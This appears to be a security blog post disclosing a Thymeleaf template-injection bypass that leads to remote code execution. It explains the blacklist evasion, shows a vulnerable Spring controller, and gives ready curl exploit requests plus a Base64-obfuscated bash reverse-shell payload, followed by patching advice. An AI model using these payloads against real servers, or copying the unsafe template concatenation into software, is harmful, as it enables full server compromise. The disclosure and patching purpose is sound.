Listen to this Post
The vulnerability stems from Thymeleaf’s expression preprocessing feature, which evaluates expressions inside `__${…}__` blocks before the main template is processed. This mechanism is intended to enable dynamic fragments but creates a server-side template injection (SSTI) vector when user input is passed unvalidated to the engine. To mitigate SSTI, Thymeleaf 3.1.3 introduced restrictions that block common payloads like `T(` or new. However, these restrictions were incomplete. The first bypass uses the `$${` syntax instead of the standard `${` to inject an expression, and the second uses the capitalized `New` keyword instead of `new` to circumvent case-sensitive blacklists. For example, `__|$${New …}|__::.` becomes a valid injection point. In a Spring Boot application, the expression parser defaults to SpEL, which allows arbitrary static method invocation and object instantiation. The preprocessing step recursively evaluates any expression markers, so an attacker can supply a payload like __${T(java.lang.Runtime).getRuntime().exec('calc')}__—but since that triggers detection, the bypass uses `__|$${New java.util.Scanner(New ProcessBuilder(‘cmd’,’/c’,’whoami’).start().getInputStream()).next()}|__::.` The `|` characters are delimiters that help separate the injected expression from the surrounding template text, while `::.x` forces the engine to interpret the fragment as a template selector. Thymeleaf fails to normalize the `$${` pattern and the `New` keyword, allowing the expression to pass the sanitization layer and reach the SpEL evaluator. This results in arbitrary Java code execution on the server. The fix in Thymeleaf 3.1.4.RELEASE adds a proper canonicalization step that normalizes both the `$${` pattern and the `New` keyword before the security filter runs.
Platform: Thymeleaf
Version: ≤ 3.1.3.RELEASE
Vulnerability: SSTI Bypass
Severity: Critical
Date: 2026-04-15
Prediction: Patch already available (3.1.4.RELEASE)
Analytics under What Undercode Say:
Vulnerable Thymeleaf dependency (pom.xml)
org.thymeleaf
thymeleaf-spring5
3.1.3.RELEASE
Check for unsafe template concatenation (Java)
@RequestMapping("/welcome")
public String welcome(@RequestParam String user) {
return "welcome/" + user; // user controlled fragment
}
Payload to test for injection
curl "http://target/welcome?user=__%24%7BT(java.lang.Runtime).getRuntime().exec('calc')%7D__"
Exploit:
Exploit using $${{ and New bypass
curl "http://target/welcome?user=__%7C%24%24%7BNew%20java.util.Scanner(New%20ProcessBuilder('cmd','%2Fc','whoami').start().getInputStream()).next()%7D%7C__%3A%3A.x"
Reverse shell payload (Base64 encoded)
<strong>|$${New java.lang.ProcessBuilder('bash','-c','echo IyEvYmluL2Jhc2gKc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwMC80NDQ0IDA+JjE= | base64 -d | bash').start()}|</strong>::.x
Protection from this CVE
- Upgrade to Thymeleaf 3.1.4.RELEASE or later.
- Never concatenate user input directly into template names or fragments.
- Use model attributes for all dynamic data instead of building template strings.
- Deploy a WAF that blocks requests containing `__${` or `__|$${` patterns.
Impact
Unauthenticated remote code execution (RCE). An attacker can execute arbitrary operating system commands, read or modify sensitive files, pivot to internal networks, and completely compromise the backend server. The vulnerability is particularly critical in Spring Boot applications where Thymeleaf is the default view resolver.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Original Article: https://vipentest.com/blog/cve-2026-40478-thymeleaf-ssti-sandbox-escape-rce/
Extra Source Hub:
Undercode

